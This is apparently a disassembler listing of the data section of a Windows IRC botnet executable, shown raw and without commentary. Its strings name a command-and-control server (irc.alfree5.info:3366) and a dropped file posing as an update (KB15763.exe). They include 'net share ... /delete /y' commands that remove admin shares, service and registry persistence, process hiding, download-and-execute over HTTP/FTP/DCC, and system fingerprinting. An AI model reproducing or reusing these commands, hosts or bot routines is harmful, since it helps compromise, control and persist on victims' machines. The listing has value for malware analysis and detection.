dword_441560	dd 19930520h, 0Ah, 441580h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0B2h, 43h, 0
		dd 1, 43B2D6h, 2, 43B2E1h, 3, 43B2ECh, 3, 43B2F7h, 3, 43B302h
		dd 3, 43B30Dh, 3, 43B318h, 3, 43B323h, 4 dup(0)
dword_4415E0	dd 19930520h, 2, 441600h, 5 dup(0)		dd 0FFFFFFFFh, 43B360h,	0
		dd offset loc_43B368
		dd 2 dup(0)
dword_441618	dd 19930520h, 3, 441638h, 5 dup(0)		dd 0FFFFFFFFh, 43B380h,	0FFFFFFFFh, 43B38Bh, 1,	43B396h
		dd 2 dup(0)
dword_441658	dd 19930520h, 1, 441678h, 5 dup(0)		dd 0FFFFFFFFh, 43B3C0h,	2 dup(0)
dword_441688	dd 19930520h, 2, 4416A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B3E0h,	0
		dd offset loc_43B3EB
		align 10h
dword_4416C0	dd 19930520h, 16h, 4416E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B410h,	0
		dd offset loc_43B41B
		dd 0
		dd offset loc_43B423
		dd 0
		dd offset loc_43B42B
		dd 3, 43B433h, 4, 43B43Bh, 0
		dd offset loc_43B443
		dd 6, 43B44Bh, 7, 43B453h, 0
		dd offset loc_43B45B
		dd 9, 43B463h, 0Ah, 43B46Bh, 0
		dd offset loc_43B473
		dd 0Ch,	43B47Bh, 0Dh, 43B483h, 0
		dd offset loc_43B48B
		dd 0Fh,	43B493h, 0
		dd offset loc_43B49B
		dd 11h,	43B4A3h, 0
		dd offset loc_43B4AB
		dd 13h,	43B4B3h, 13h, 43B4BBh, 6 dup(0)
dword_4417A8	dd 19930520h, 1, 4417C8h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	2 dup(0)
dword_4417D8	dd 19930520h, 1, 4417F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441808	dd 19930520h, 5, 441828h, 5 dup(0)		dd 0FFFFFFFFh, 43B560h,	0FFFFFFFFh, 43B568h, 0FFFFFFFFh
		dd 43B570h, 0FFFFFFFFh,	43B578h, 0FFFFFFFFh, 43B580h, 2	dup(0)
dword_441858	dd 19930520h, 0Bh, 441878h, 5 dup(0)		dd 0FFFFFFFFh, 43B5A0h,	0FFFFFFFFh, 43B5ABh, 0FFFFFFFFh
		dd 43B5C1h, 0FFFFFFFFh,	43B5CCh, 0FFFFFFFFh, 43B5D7h, 0FFFFFFFFh
		dd 43B5E2h, 0FFFFFFFFh,	43B5EDh, 0FFFFFFFFh, 43B5F8h, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Eh, 0FFFFFFFFh, 43B5B6h, 4	dup(0)
dword_4418E0	dd 19930520h, 5, 441900h, 5 dup(0)		dd 0FFFFFFFFh, 43B650h,	0FFFFFFFFh, 43B658h, 0FFFFFFFFh
		dd 43B660h, 0FFFFFFFFh,	43B668h, 0FFFFFFFFh, 43B670h, 2	dup(0)
dword_441930	dd 19930520h, 15h, 441950h, 5 dup(0)		dd 0FFFFFFFFh, 43B690h,	0FFFFFFFFh, 43B69Bh, 0FFFFFFFFh
		dd 43B6A3h, 0FFFFFFFFh,	43B6ABh, 0FFFFFFFFh, 43B6B3h, 0FFFFFFFFh
		dd 43B6BBh, 0FFFFFFFFh,	43B6C6h, 0FFFFFFFFh, 43B6CEh, 0FFFFFFFFh
		dd 43B6D6h, 0FFFFFFFFh,	43B6DEh, 0FFFFFFFFh, 43B6E6h, 0FFFFFFFFh
		dd 43B6F1h, 0FFFFFFFFh,	43B6F9h, 0FFFFFFFFh, 43B701h, 0FFFFFFFFh
		dd 43B709h, 0FFFFFFFFh,	43B711h, 0FFFFFFFFh, 43B71Ch, 0FFFFFFFFh
		dd 43B724h, 0FFFFFFFFh,	43B72Ch, 0FFFFFFFFh, 43B734h, 0FFFFFFFFh
		dd 43B73Ch, 6 dup(0)
dword_441A10	dd 19930520h, 1, 441A30h, 5 dup(0)		dd 0FFFFFFFFh, 43B780h,	2 dup(0)
dword_441A40	dd 19930520h, 5, 441A60h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	0
		dd offset loc_43B7A8
		dd 1, 43B7B3h, 2, 43B7BEh, 3, 43B7C9h, 2 dup(0)
dword_441A90	dd 19930520h, 5, 441AB0h, 5 dup(0)		dd 0FFFFFFFFh, 43B7F0h,	0
		dd offset loc_43B7F8
		dd 1, 43B803h, 2, 43B80Eh, 3, 43B819h, 2 dup(0)
dword_441AE0	dd 19930520h, 1, 441B00h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441B10	dd 19930520h, 1, 441B30h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441B40	dd 19930520h, 1, 441B60h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441B70	dd 19930520h, 1, 441B90h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	2 dup(0)
dword_441BA0	dd 19930520h, 1, 441BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43B8C0h,	2 dup(0)
dword_441BD0	dd 19930520h, 1, 441BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43B8E0h,	2 dup(0)
dword_441C00	dd 19930520h, 1, 441C20h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	2 dup(0)
dword_441C30	dd 19930520h, 1, 441C50h, 5 dup(0)		dd 0FFFFFFFFh, 43B920h,	2 dup(0)
dword_441C60	dd 19930520h, 6, 441C80h, 5 dup(0)		dd 0FFFFFFFFh, 43B940h,	0
		dd offset loc_43B948
		dd 1, 43B953h, 2, 43B95Eh, 3, 43B969h, 4, 43B974h, 2 dup(0)
dword_441CB8	dd 19930520h, 6, 441CD8h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9A8
		dd 1, 43B9B3h, 2, 43B9BEh, 3, 43B9C9h, 4, 43B9D4h, 2 dup(0)
dword_441D10	dd 19930520h, 3, 441D30h, 5 dup(0)		dd 0FFFFFFFFh, 43BA00h,	0
		dd offset loc_43BA08
		dd 1, 43BA16h, 2 dup(0)
dword_441D50	dd 19930520h, 16h, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4B
		dd 1, 43BA56h, 2, 43BA61h, 2, 43BA6Ch, 2, 43BA77h, 2, 43BA82h
		dd 6, 43BA8Dh, 2, 43BA98h, 8, 43BAA3h, 2, 43BAAEh, 0Ah
		dd 43BAB9h, 2, 43BAC4h,	0Ch, 43BACFh, 0Dh, 43BADAh, 0Eh
		dd 43BAE5h, 0Fh, 43BAF0h, 0Fh, 43BAFBh,	0Fh, 43BB06h, 0Fh
		dd 43BB11h, 0Fh, 43BB1Ch, 0Fh, 43BB27h,	6 dup(0)
dword_441E38	dd 19930520h, 1, 441E58h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441E68	dd 19930520h, 1, 441E88h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441E98	dd 19930520h, 1, 441EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	2 dup(0)
dword_441EC8	dd 19930520h, 1, 441EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_441EF8	dd 19930520h, 1, 441F18h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_441F28	dd 19930520h, 2, 441F48h, 1, 441F58h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F70h, 4	dup(0)
		dd offset loc_42AFE4
		dd 2 dup(0)
dword_441F88	dd 19930520h, 2, 441FA8h, 1, 441FB8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FD0h, 4	dup(0)
		dd offset loc_42B0C1
		dd 2 dup(0)
dword_441FE8	dd 19930520h, 3, 442008h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC48
		dd 1, 43BC50h, 2 dup(0)
dword_442028	dd 19930520h, 1, 442048h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	2 dup(0)
dword_442058	dd 19930520h, 1, 442078h, 5 dup(0)		dd 0FFFFFFFFh, 43BCA0h,	2 dup(0)
dword_442088	dd 19930520h, 1, 4420A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BCC0h,	2 dup(0)
dword_4420B8	dd 19930520h, 1, 4420D8h, 5 dup(0)		dd 0FFFFFFFFh, 43BCE0h,	2 dup(0)
dword_4420E8	dd 19930520h, 1, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	2 dup(0)
dword_442118	dd 19930520h, 6, 442138h, 5 dup(0)		dd 0FFFFFFFFh, 43BD20h,	0FFFFFFFFh, 43BD28h, 0FFFFFFFFh
		dd 43BD30h, 0FFFFFFFFh,	43BD38h, 0FFFFFFFFh, 43BD40h, 0FFFFFFFFh
		dd 43BD48h, 2 dup(0)
dword_442170	dd 19930520h, 16h, 442190h, 5 dup(0)		dd 0FFFFFFFFh, 43BD70h,	0FFFFFFFFh, 43BD7Bh, 0FFFFFFFFh
		dd 43BD83h, 0FFFFFFFFh,	43BD8Bh, 0FFFFFFFFh, 43BD93h, 0FFFFFFFFh
		dd 43BD9Eh, 0FFFFFFFFh,	43BDA6h, 0FFFFFFFFh, 43BDAEh, 0FFFFFFFFh
		dd 43BDB6h, 0FFFFFFFFh,	43BDC1h, 0FFFFFFFFh, 43BDC9h, 0FFFFFFFFh
		dd 43BDD1h, 0FFFFFFFFh,	43BDDCh, 0FFFFFFFFh, 43BDE4h, 0Dh
		dd 43BDECh, 0Eh, 43BDF4h, 0Eh, 43BDFCh,	0Eh, 43BE04h, 0Eh
		dd 43BE0Ch, 12h, 43BE14h, 13h, 43BE1Ch,	0Eh, 43BE1Ch, 6	dup(0)
dword_442258	dd 19930520h, 2, 442278h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	0FFFFFFFFh, 43BE68h, 2 dup(0)
dword_442290	dd 19930520h, 2, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_4422C8	dd 19930520h, 1, 4422E8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	2 dup(0)
dword_4422F8	dd 19930520h, 2, 442318h, 5 dup(0)		dd 0FFFFFFFFh, 43BED0h,	0FFFFFFFFh, 43BED8h, 2 dup(0)
dword_442330	dd 19930520h, 0Ah, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43BEF0h,	0FFFFFFFFh, 43BEFBh, 0FFFFFFFFh
		dd 43BF06h, 0FFFFFFFFh,	43BF11h, 0FFFFFFFFh, 43BF1Ch, 0FFFFFFFFh
		dd 43BF27h, 0FFFFFFFFh,	43BF32h, 0FFFFFFFFh, 43BF3Dh, 0FFFFFFFFh
		dd 43BF48h, 0FFFFFFFFh,	43BF53h, 359h dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 81h dup(0)
dword_44330C	dd 41h dup(0)	dword_443410	dd 44h dup(0)	aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FFD0:loc_4108AEo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+86Fo
					; sub_404C70+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+82Bo
					; sub_404C70+B58o ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FFD0:loc_4109B9o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CFE0+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D72o
		align 8
aN:					; DATA XREF: sub_404C70+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+444o
					; sub_41C0D0+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai_0		db '-bai',0             ; DATA XREF: sub_406C30:loc_406DEDo
					; sub_406C30+205o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: sub_406C30:loc_406DB0o
					; sub_40ECA0+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: sub_406C30+143o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:0040874Co ...
dword_4437F8	dd 2Eh							; ___:0041B27Ao ...
dword_4437FC	dd 48205058h, 4620544Fh, 535831h, 0dword_44380C	dd 58h		dword_443810	dd 696D6461h, 6F632E6Eh, 6Dhdword_44381C	dd 746573h	dword_443820	dd 2D46h	aSdfsadasda	db 'sdfsadasda',0       ; DATA XREF: sub_407790+337o
		align 10h
		dd 0
aKb15763_exe	db 'KB15763.exe',0      ; DATA XREF: sub_407790+326o
		dd 0
dword_443844	dd 4Ah		dword_443848	dd 6F662323h, 72hdword_443850	dd 6F662323h, 232372h, 0a3366		db '3366',0             ; DATA XREF: sub_407790+29Bo
		align 4
aIrc_alfree5_in	db 'irc.alfree5.info',0 ; DATA XREF: sub_407790+283o
		align 4
off_443878	dd offset off_43E1D4	; DATA XREF: ___:0043F014o
		align 10h
a_?avexception@	db '.?AVexception@@',0
		dd 2 dup(0)
off_443898	dd offset off_43E1D4	; DATA XREF: ___:0043F034o
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_4438C0	dd offset off_43E1D4	; DATA XREF: ___:0043F054o
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(0)
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: ___:00409621o
					; ___:0040A9F1o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B700+3Fo
					; sub_40B780+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B81Fo
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0040B8C4o
		align 10h
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BBDAo
		align 4
		dd 0
aSS_4		db '%s = "%s"',0        ; DATA XREF: ___:0040BAF7o
		align 4
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA31o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B9A4o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C480+52Ao
		align 10h
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C480+48Ao
		align 10h
		dd 2 dup(0)
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C480+377o
		align 8
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C480+327o
		align 4
dword_4439E8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C480+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C480+230o
		align 10h
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C480+218o
		align 10h
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C480+1BBo
		align 10h
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C480+110o
		align 10h
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C480+B8o
		dd 2 dup(0)
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC30+1B1o
		dd 0
asc_443ABC:				; DATA XREF: sub_40CC30+113o
					; sub_420190+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CFE0+115o
		align 10h
aS_1		db '%s\*',0             ; DATA XREF: sub_40CFE0+1Fo
		align 4
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D4F9o
		align 4
aBai		db ' -bai ',0           ; DATA XREF: sub_40D600+3ABo
		align 10h
aSCS		db '%s%c%s',0           ; DATA XREF: sub_40D600+326o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D600+D1o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D600+C4o
		align 4
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D600+B7o
		align 4
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D600+AFo
		align 8
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40D600+98o
		align 4
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DBC0+4D3o
		align 10h
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DBC0+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
dword_443BB4	dd 22732522h, 732520h, 0aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EDE0+21o
					; sub_40F000+Ao ...
		align 10h
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F4B1o
		align 8
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F3F4o
		align 4
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F2F9o
		align 10h
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F24Do
		align 4
		dd 0
asc_443C3C	db ' :',0               ; DATA XREF: sub_40FFD0+E2Bo
					; sub_40FFD0+1118o ...
		align 10h
asc_443C40:				; DATA XREF: sub_40FFD0+CACo
					; sub_40FFD0+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FFD0:loc_410998o
					; sub_40FFD0:loc_410C27o
aS_2		db ' -s',0              ; DATA XREF: sub_40FFD0:loc_41096Fo
					; sub_40FFD0:loc_410C06o
asc_443C4C:				; DATA XREF: sub_40FFD0+871o
					; sub_40FFD0:loc_410C48o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_40FFD0+7CCo
					; sub_40FFD0+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FFD0+65Do
					; sub_40FFD0+732o ...
		align 10h
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FFD0+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FFD0+2C4o
					; sub_412720+91o ...
		align 10h
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_412050+4E3o
		align 10h
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_412050+386o
					; sub_42D230+71o
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_412050+CBo
					; sub_4129E0+8Fo
		align 8
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412720:loc_41282Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412720+104o
		align 10h
a_		db '. ',0               ; DATA XREF: sub_412720+CAo
					; sub_412720+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412720+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F97o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412F44o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412EEAo
		align 10h
asc_443CF0:				; DATA XREF: ___:loc_412ED3o
		dw 3Ch
		unicode	0, <>,0
asc_443CF4:				; DATA XREF: ___:loc_412EBCo
		dw 3Eh
		unicode	0, <>,0
asc_443CF8	db '==',0               ; DATA XREF: ___:loc_412EA5o
		align 4
asc_443CFC	db '!=',0               ; DATA XREF: ___:00412E91o
		align 10h
a2_2x		db '%2.2X',0            ; DATA XREF: sub_413850+B7o
		align 4
aSS_5		db '%s: %s',0           ; DATA XREF: sub_419360+30Fo
		align 10h
aSD_0		db '%s: %d',0           ; DATA XREF: sub_419360+2E7o
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_419360+272o
					; sub_419360+29Bo
		align 10h
aListening	db 'listening',0        ; DATA XREF: sub_419360+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_419360+205o
		dd 0
off_443D3C	dd offset dword_504354	; DATA XREF: sub_419360+140o
					; ___:0042B392o ...
dword_443D40	dd 2D464544h, 504354h, 0					; sub_419360+12Eo
dword_443D4C	dd 652Dh	dword_443D50	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419B80+82o
		align 4
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419D91o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419D6Co
		align 4
byte_443D8C	db 1			; DATA XREF: sub_41A330r
		align 10h
dword_443D90	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443DDC:				; DATA XREF: ___:004217F9o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443DF0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E04	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E3C	dd 63257325h, 0						; sub_41F900+E5o
dword_443E44	dd 72h		dword_443E48	dd 30h							; sub_4248C0+327o
dword_443E4C	dd 3039h	dword_443E50	dd 383631h	dword_443E54	dd 323931h	dword_443E58	dd 3631h	dword_443E5C	dd 323731h	dword_443E60	dd 3031h	off_443E64	dd offset loc_5C005B+1	; DATA XREF: ___:0041C1B7r
					; ___:0041C327r
word_443E68	dw 0			; DATA XREF: ___:0041C1C1r
					; ___:0041C331r
		align 4
off_443E6C	dd offset dword_49005C	; DATA XREF: ___:0041C186r
					; ___:0041C2F6r
dword_443E70	dd 430050h						; ___:0041C2FBr
dword_443E74	dd 24h							; ___:0041C31Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D8D0+5F5o
		align 10h
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D8D0+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D8D0+567o
		align 10h
asc_443EB0	db 0Dh,0Ah		; DATA XREF: sub_41D8D0+48Fo
		db 0Dh,0Ah,0
		align 4
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D8D0+3F1o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_41D8D0+3C0o
					; ___:0041FD27o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D8D0+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D8D0+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D8D0+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D8D0+2A3o
		align 10h
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D8D0+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D8D0+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D8D0+1CEo
		align 8
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E41Eo
		align 8
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E3CFo
		dd 0
dword_443FB4	dd 28737973h, 6F626572h, 29746Fh, 0dword_443FC4	dd 6469706Bh, 7325203Ah, 0dword_443FD0	dd 203A736Bh, 7325hdword_443FD8	dd 202E6425h, 7325202Fh, 0dword_443FE4	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E700+130o
		align 8
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFD0+694o
					; sub_41EFD0+6A9o
		align 10h
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFD0:loc_41F635o
					; sub_41EFD0+677o
		align 4
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EFD0+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EFD0+53Fo
		align 4
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFD0+505o
					; sub_41EFD0+51Ao
		align 10h
asc_444060:				; DATA XREF: sub_41EFD0+2EFo
					; sub_41EFD0+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFD0+286o
					; sub_41EFD0+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFD0+254o
					; sub_41EFD0+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFD0+222o
					; sub_41EFD0+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFD0+1F3o
					; sub_41EFD0+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EFD0+17Eo
		align 10h
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F900+13Co
		align 10h
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FD5Do
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420030:loc_420085o
					; sub_4205D0+C4r ...
		align 8
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_420190+CBo
					; sub_420880+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_420190+73o
					; sub_420880+2BEo
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_420470+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_4205D0+72o
		align 10h
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_4205D0+64o
		align 8
